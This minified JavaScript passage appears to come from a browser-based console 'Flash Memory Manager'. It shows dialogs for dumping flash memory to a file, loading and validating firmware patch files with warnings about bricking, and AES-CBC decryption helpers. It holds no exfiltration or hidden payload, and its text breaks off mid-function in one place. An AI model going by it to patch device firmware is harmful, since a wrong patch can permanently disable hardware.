progress?","Cancel",function(){_=!0})}}],k=f.dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:390,width:575,buttons:S,show:{effect:"fade",duration:1500},hide:{effect:"fade",duration:800},open:function(e,t){F("hourglass"),y.text("Generating worker thread data"),v.text("Idle"),C.text(""),D.text(""),m.progressbar("value",!1),x.progressbar("value",!1),b.text("Initializing Operations"),_=!1}});m.progressbar({value:!1,change:function(e,t){var r=m.progressbar("value"),s=!1!==r?r+"%":"";C.text(s)},complete:function(e,t){C.text("Done"),D.text("Done"),k.dialog("option","buttons",[{text:"Log",icon:"ui-icon-info",click:function(e,t){infoDialog(jQuery("#"+r.pbarlog_id).html(),"Log",function(){jQuery("#"+r.dialog_id).parent().find("button:last").focus().blur()})}},{text:"Close",icon:"ui-icon-check",click:function(e,t){k.dialog("option",{close:function(e,t){}}),k.dialog("close")}}])}}),x.progressbar({value:!1,change:function(e,t){var r=x.progressbar("value"),s=!1!==r?r+"%":"";D.text(s)},complete:function(e,t){}}),this.ulog=function(e,t){var s=document.getElementById(r.pbarlog_id);s&&(t?s.innerHTML="":s.innerHTML+="
"+e),e.length>0&&Logger.info(e)},this.setIconStatus=function(e){F(e)},this.updateGlobalValue=function(e){m.progressbar("value",e>0&&e<100&&Math.floor(e)!==e?Math.floor(e)+1:Math.floor(e))},this.updateDetailValue=function(e){x.progressbar("value",Math.floor(e))},this.updateGlobalLabel=function(e){y.text(e)},this.updateDetailLabel=function(e){v.text(e)},this.updateStatusText=function(e){b.text(e)},this.getStatusText=function(){return b.text()},this.setTitle=function(e){k.dialog("option","title","Flash Memory Manager: "+e)},this.updateStatusStyle=function(e){b.css(e)},this.updateProgressDialog=function(e,t){e&&(e.istatus&&this.setIconStatus(e.istatus),e.title&&this.setTitle(e.title),e.dlabel&&this.updateDetailLabel(e.dlabel),e.glabel&&this.updateGlobalLabel(e.glabel),e.dvalue&&this.updateDetailValue(e.dvalue),e.gvalue&&this.updateGlobalValue(e.gvalue)),t&&this.updateStatusText(getElapsedTime(t)),jQuery("#"+r.dialog_id).parent().find("button").blur()},this.open=function(e,t){this.ulog("",!0),!0===e?(k.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){toast("Current operations cannot be cancelled","warning",3)}}]),k.dialog("option","classes.ui-dialog","no-close"),k.dialog("option",{close:function(e,t){}})):(t?(k.dialog("option",{close:function(e,r){t()}}),k.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){k.dialog("close")})}}])):(k.dialog("option","buttons",S),k.dialog("option",{close:function(e,t){}})),k.dialog("option","classes.ui-dialog","ui-dialog-titlebar-close")),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+r.container_id).removeClass("ui-helper-hidden"),jQuery("#"+r.dialog_id).removeClass("ui-helper-hidden"),k.parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip(),k.dialog("open")},this.close=function(){k.dialog("close"),jQuery("#"+r.container_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+r.dialog_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},this.cancel=function(){_=!0},this.cancelled=function(){return _}},sDialog=function(e){Logger.info("sDialog object building");var t=null,r=e||{container_id:"sd_container",tree_id:"dSTree",ftree_id:"fTree",sbutton_id:"dSave_As",scb_class:"scbsave",ifilename_name:"sDialog_FileName",spath_id:"lsDialog_Path",default_fname:"dump.hex",pbar_object:null,spbar_object:null,default_object:null};if(!r.container_id)throw Logger.error("sDialog: Bad argument"),Error("sDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+r.container_id+"]").length)throw Error("sDialog: Missing html element: "+r.container_id);r.tree_id||(r.tree_id="dSTree"),r.ftree_id||(r.ftree_id="fTree"),r.sbutton_id||(r.sbutton_id="dSave_As"),r.scb_class||(r.scb_class="scbsave"),r.ifilename_name||(r.ifilename_name="sDialog_FileName"),r.spath_id||(r.spath_id="lsDialog_Path"),r.default_fname||(r.default_fname="dump.hex"),jQuery("#"+r.container_id).replaceWith("
\t\t\t\t\t\t
\t\t\t\t\t\t\t \t\t\t\t\t\t\t \t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t
");var s=jQuery("#"+r.tree_id),o=jQuery("input[name="+r.ifilename_name+"]"),l=jQuery("label[id="+r.spath_id+"]"),n=r.default_fname?r.default_fname:"dump.hex",i="",a=this,p=r.default_object?r.default_object:{sector_count:489472,nsec_iter:32768,dump_start:0,save_offset:0,file_path:"/dev_hdd0/dump.hex",default_name:"dump.hex",pre_callback:null,buffer:null,no_pbar:!1},c=[{text:"Save",icon:"ui-icon-disk",click:function(e,s){if(p.sector_count){function o(){d.dialog("close"),jQuery(".preloader").removeClass("ui-helper-hidden"),p.pre_callback&&p.pre_callback(),setTimeout(function(){return p.buffer=helper.sm.getBuffer(),p.tls=helper.worker.fmm.getTLS(),p.buffer?p.tls?(r.pbar_object&&(r.pbar_object.setTitle("Dumping Operations Progress"),r.pbar_object.open()),void setTimeout(function(){t.resolve(p)},1200)):(Logger.error("sDialog: TLS memory allocation failed!"),void toast("TLS memory allocation failed","error",5)):(Logger.error("sDialog: Buffer memory allocation failed!"),void toast("Buffer memory allocation failed","error",5))},1e3)}p.file_path=l[0].innerText,fsitem_exists(p.file_path)?confirmDialog("If you continue, "+p.file_path+" will be overwritten","Confirm",o):o()}else if(p.buffer&&p.buffer.size>0){function n(){jQuery(".preloader").removeClass("ui-helper-hidden"),p.pre_callback&&p.pre_callback(),!p.no_pbar&&r.spbar_object&&setTimeout(function(){r.spbar_object.setTitle("Saving File Operations Progress"),r.spbar_object.open()},500),setTimeout(function(){t.resolve(p)},1e3)}d.dialog("close"),p.file_path=l[0].innerText,fsitem_exists(p.file_path)?(Logger.info("File "+p.file_path+" already exists"),confirmDialog("If you continue, "+p.file_path+" will be overwritten","Confirm",n)):(Logger.info("Saving file "+p.file_path),n())}}},{text:"Cancel",icon:"ui-icon-close",click:function(e,t){d.dialog("close")}}];jQuery("#"+r.sbutton_id).removeClass("ui-helper-hidden");var d=jQuery("#"+r.sbutton_id).dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:480,width:720,buttons:c,open:function(e,t){o=jQuery("input[name="+r.ifilename_name+"]"),(l=jQuery("label[id="+r.spath_id+"]")).html(""),o.val(n),s.jstree({core:{multiple:!1,restore_focus:!1,dblclick_toggle:!1,data:function(e,t){if("file"!==e.type){s.find("i.jstree-ocl").addClass("ui-state-disabled");var r=getJSTreeData_wk(this,e,!1,!0);t(-1===r?[]:r),(-1===r||r.length>0)&&(s.find("i.jstree-ocl").removeClass("ui-state-disabled"),this.get_node(e,!0).removeClass("jstree-loading").attr("aria-busy",!1))}}},themes:{dots:!0,icons:!0},sort:function(e,t){return this.get_node(e).text>this.get_node(t).text?1:-1},types:{"#":{max_children:12,max_depth:128,valid_children:["root"]},root:{max_depth:127,icon:"jstree-folder",valid_children:["folder","file"]},folder:{icon:"jstree-folder",valid_children:["folder","file"]},file:{icon:"jstree-file",valid_children:[]}},plugins:["search","types","changed","unique","sort"]}),s.on("select_node.jstree",function(e,t){var r=t.instance.get_fullpath(t.node);"file"===t.node.type?(l.text(r),o.val(t.node.text)):(0===o.val().length&&o.val("dump.hex"),l.text(r+"/"+o.val())),i=r.substr(r.lastIndexOf("/")),a.enableSaveButton(),a.enableSaveText()}),o.on("change",function(e){var t=o.val();validateFileName(t)?(l.text(i+"/"),a.disableSaveButton()):i.length>0?(l.text(i+"/"+t),a.enableSaveButton()):(l.text("Please select a destination folder"),a.disableSaveText(),a.disableSaveButton()),p=!1});var p=!1;o.on("input",function(e){p=!0}),s.parent().on("click",function(e){!0===p&&s.parent().focus()}),s.on("click",function(e){!0===p&&s.focus()}),s.on("after_open.jstree",function(e,t){s.find("i.jstree-ocl").removeClass("ui-state-disabled"),t.instance.get_node(t.node,!0).removeClass("jstree-loading").attr("aria-busy",!1)}),s.on("load_node.jstree",function(e,t){t.instance.get_node(t.node,!0).addClass("jstree-loading").attr("aria-busy",!0),t.instance.open_node(t.node)}),s.on("before_open.jstree",function(e,t){t.instance.get_node(t.node,!0).addClass("jstree-loading").attr("aria-busy",!0);var r=jQuery.grep(t.instance.get_node(t.node.parent).children,function(e,r){return e!==t.node&&t.instance.is_open(e)});t.instance.close_node(r)})},beforeClose:function(e,t){},close:function(e,t){o.val(n),s.jstree("destroy",!0)}});this.setTitle=function(e){d.dialog("option","title",e)},this.open=function(e,o){n=void 0===(p=e||p).default_name||null===p.default_name?"dump.hex":p.default_name,d.dialog("open"),jQuery("."+r.scb_class).mCustomScrollbar("destroy"),jQuery("."+r.scb_class).mCustomScrollbar({theme:"eggplant"===Cookies.get("style")?"light-thick":"dark-thick",keyboard:{enable:!1},mouseWheel:{enable:!1}}),this.disableSaveButton(),this.disableSaveText(),l.text("Please select a destination folder"),(t=jQuery.Deferred()).promise().done(o),s.focus(),jQuery("#"+r.sbutton_id).parent().find("button").blur(),jQuery("#"+r.sbutton_id).parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip()},this.close=function(){d.dialog("close"),jQuery("."+r.scb_class).mCustomScrollbar("destroy")},this.enableSaveText=function(){jQuery("#"+r.ifilename_name).removeClass("ui-state-disabled")},this.disableSaveText=function(){jQuery("#"+r.ifilename_name).removeClass("ui-state-disabled").addClass("ui-state-disabled")},this.disableSaveButton=function(){jQuery("#"+r.sbutton_id).parent().find("div.ui-dialog-buttonset:first").children("button:first").removeClass("ui-state-disabled").addClass("ui-state-disabled").blur()},this.enableSaveButton=function(){jQuery("#"+r.sbutton_id).parent().find("div.ui-dialog-buttonset:first").children("button:first").removeClass("ui-state-disabled").focus().blur()}},lDialog=function(e){Logger.info("lDialog object building");var t=e||{container_id:"ld_container",tree_id:"dLTree",ftree_id:"fTree",lbutton_id:"dLoad",scb_class:"scbload",lpath_id:"dlDialog_Path",pbar_object:null,spbar_object:null,default_object:null};if(!t.container_id)throw Logger.error("lDialog: Bad argument"),Error("lDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+t.container_id+"]").length)throw Error("lDialog: Missing html element: "+t.container_id);t.tree_id||(t.tree_id="dLTree"),t.ftree_id||(t.ftree_id="fTree"),t.lbutton_id||(t.lbutton_id="dLoad"),t.scb_class||(t.scb_class="scbload"),t.lpath_id||(t.lpath_id="dlDialog_Path"),jQuery("#"+t.container_id).replaceWith("
\t\t\t\t\t\t
\t\t\t\t\t\t\t
*.*
\t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t
");var r=jQuery("#"+t.tree_id),s=jQuery("div[id="+t.lpath_id+"]"),o=t.default_object?t.default_object:{buffer:null,pre_callback:null,patch:!1},l=null,n=this;helper.rosBuffer={offset:0,size:0};var i=[{text:"Load",icon:"ui-icon-folder-open",click:function(e,r){a.dialog("close");var n=s[0].innerText.lastIndexOf("/"),i=s[0].innerText.substr(n+1,s.text().length-n-1),p=new Date;if(!0===o.patch)t.pbar_object&&(t.pbar_object.ulog(p,!0),t.pbar_object.setTitle("Loading File Operations Progress"),t.pbar_object.open(),t.pbar_object.updateProgressDialog({dlabel:"Preparing buffer",glabel:"Loading '"+i+"'",dvalue:0,gvalue:0,title:"Loading Operations Progress"})),setTimeout(function(){jQuery("#"+t.ftree_id).jstree(!0);if(o.pre_callback&&o.pre_callback(),helper.sha256_loadedros="",helper.rosBuffer=helper.sm.getBuffer(),!helper.rosBuffer)return helper.rosBuffer={offset:0,size:0},Logger.error("lDialog: Buffer memory allocation failed!"),void toast("Buffer memory allocation failed","error",5);function e(){c=l.close(),delete l}l=new fileObject(s.text()),t.pbar_object&&(t.pbar_object.ulog("Opened File "+s.text()),t.pbar_object.ulog("Size: 0x"+l.size.toString(16))),l.size===helper.patchfile_size?(t.pbar_object&&(t.pbar_object.ulog("File Size Check: OK"),t.pbar_object.updateProgressDialog({dlabel:"Reading file data",gvalue:0},p)),setTimeout(function(){Logger.info("lDialog: loading file "+s.text());var r=l.load(helper.patchfile_size,{offset:helper.rosBuffer.offset+48,size:helper.patchfile_size});if(0===r){if(t.pbar_object&&(t.pbar_object.ulog("File loaded successfully"),t.pbar_object.updateProgressDialog({dlabel:"SHA256 Extraction",glabel:"Validating '"+i+"'",dvalue:100,gvalue:75},p)),1===validatePatchFile(i)){var o="The loaded file is a custom patch file. Applying it on this console without a hardware flasher for emergencies is risky & unwise.";if(!helper.fm_usermode)return toast(o+" You cannot use it in Strict Mode.","warning",10),t.pbar_object&&t.pbar_object.ulog(o+"
You cannot use it in Strict Mode."),updateNoValidationGUI(p,i),void e();toast(o,"warning",5),t.pbar_object&&t.pbar_object.ulog("Patch file type: Custom
Using this file to patch the console is risky
You should consider your next steps carefully.")}else"CEX"===helper.kmode?(toast("The loaded file is the recommended patch file for use on this console with the current firmware version","success",5),t.pbar_object&&t.pbar_object.ulog("Patch file type: Official CEX")):(toast("The loaded file is the recommended patch file for CEX mode only. This console is in ("+helper.kmode+") mode, using this patch will brick it.","warning",10),t.pbar_object&&t.pbar_object.ulog("Patch file type: Official CEX - NOT compatible with the current mode ("+helper.kmode+") of this console"));updateValidationGUI(p,i),e()}else t.pbar_object&&t.pbar_object.ulog("File IO error: 0x"+r.toString(16)+"
Loading operations aborted"),updateNoValidationGUI(p,i),e()},500)):(helper.sp.playNG(),t.pbar_object&&(t.pbar_object.updateProgressDialog({dlabel:"Loading Operations failed",glabel:s.text()+" is not a valid patch file",dvalue:100,gvalue:100,istatus:"error-image"},p),t.pbar_object.ulog("File Size Check: NG
Loading operations aborted")),Logger.info("lDialog: Invalid File "+s.text()),e())},1200);else if(o.buffer&&o.buffer.size>0){if(t.spbar_object&&(t.spbar_object.ulog(p,!0),t.spbar_object.setTitle("Loading File Operations Progress"),t.spbar_object.open(),t.spbar_object.updateProgressDialog({glabel:"Loading '"+i+"'",gvalue:0,title:"Loading Operations Progress"})),o.pre_callback&&o.pre_callback(),l=new fileObject(s.text()),t.spbar_object&&((o.post_callback||o.afterload_callback)&&t.spbar_object.setCallback(o),t.spbar_object.ulog("Opened File "+s.text()),t.spbar_object.ulog("Size: 0x"+l.size.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations.",gvalue:25},p)),l.size<=o.buffer.size){var c=l.load(l.size,o.buffer);0===c?(t.spbar_object&&(t.spbar_object.ulog("File loaded successfully"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations..",gvalue:50},p)),Logger.info("File loaded successfully"),0===(c=l.close())?(t.spbar_object&&(t.spbar_object.ulog("File closed successfully"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations complete",gvalue:100,istatus:"success-image"},p)),Logger.info("File closed successfully")):(t.spbar_object&&(t.spbar_object.ulog("File closing error 0x"+c.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: File closing error 0x"+c.toString(16)),toast("File closing error 0x"+c.toString(16),"error",5))):(t.spbar_object&&(t.spbar_object.ulog("File loading error 0x"+c.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: File loading error 0x"+c.toString(16)),toast("File loading error 0x"+c.toString(16),"error",5))}else t.spbar_object&&(t.spbar_object.ulog("Size: 0x"+l.size.toString(16)),t.spbar_object.ulog("Buffer Size: 0x"+o.buffer.size.toString(16)),t.spbar_object.ulog("Buffer memory size too low!"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: Buffer memory size too low, aborting file load operations!"),toast("Buffer memory size too low. Aborting file load operations","error",5);delete l}else t.spbar_object&&(t.spbar_object.ulog("Buffer memory allocation failed!"),t.spbar_object.updateProgressDialog({glabel:"Buffer allocation error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: Buffer memory allocation failed!"),toast("Buffer memory allocation failed","error",5)}},{text:"Cancel",icon:"ui-icon-close",click:function(e,t){a.dialog("close")}}];jQuery("#"+t.lbutton_id).removeClass("ui-helper-hidden");var a=jQuery("#"+t.lbutton_id).dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:480,width:720,buttons:i,open:function(e,t){r.jstree({core:{multiple:!1,restore_focus:!1,dblclick_toggle:!1,data:function(e,t){r.find("i.jstree-ocl").addClass("ui-state-disabled");var s=getJSTreeData_wk(this,e,!0,!1);t(-1===s?[]:s),(-1===s||s.length>0)&&(r.find("i.jstree-ocl").removeClass("ui-state-disabled"),this.get_node(e,!0).removeClass("jstree-loading").attr("aria-busy",!1))}},themes:{dots:!0,icons:!0},sort:function(e,t){var r=this.get_node(e),s=this.get_node(t);return r.type==s.type?r.text>s.text?1:-1:r.type16)throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");if(n=16843009*l,!i.equal(i.bitSlice([n,n,n,n],0,8*l),i.bitSlice(p,32*p.length-8*l,32*p.length)))throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");return i.bitSlice(p,0,32*p.length-8*l)},cbc_decrypt=function(e,t,r){var s=new sjcl.cipher.aes(sjcl.codec.hex.toBits(r)),o=aes_decrypt(s,sjcl.codec.hex.toBits(e),sjcl.codec.hex.toBits(t));return sjcl.codec.hex.fromBits(o)};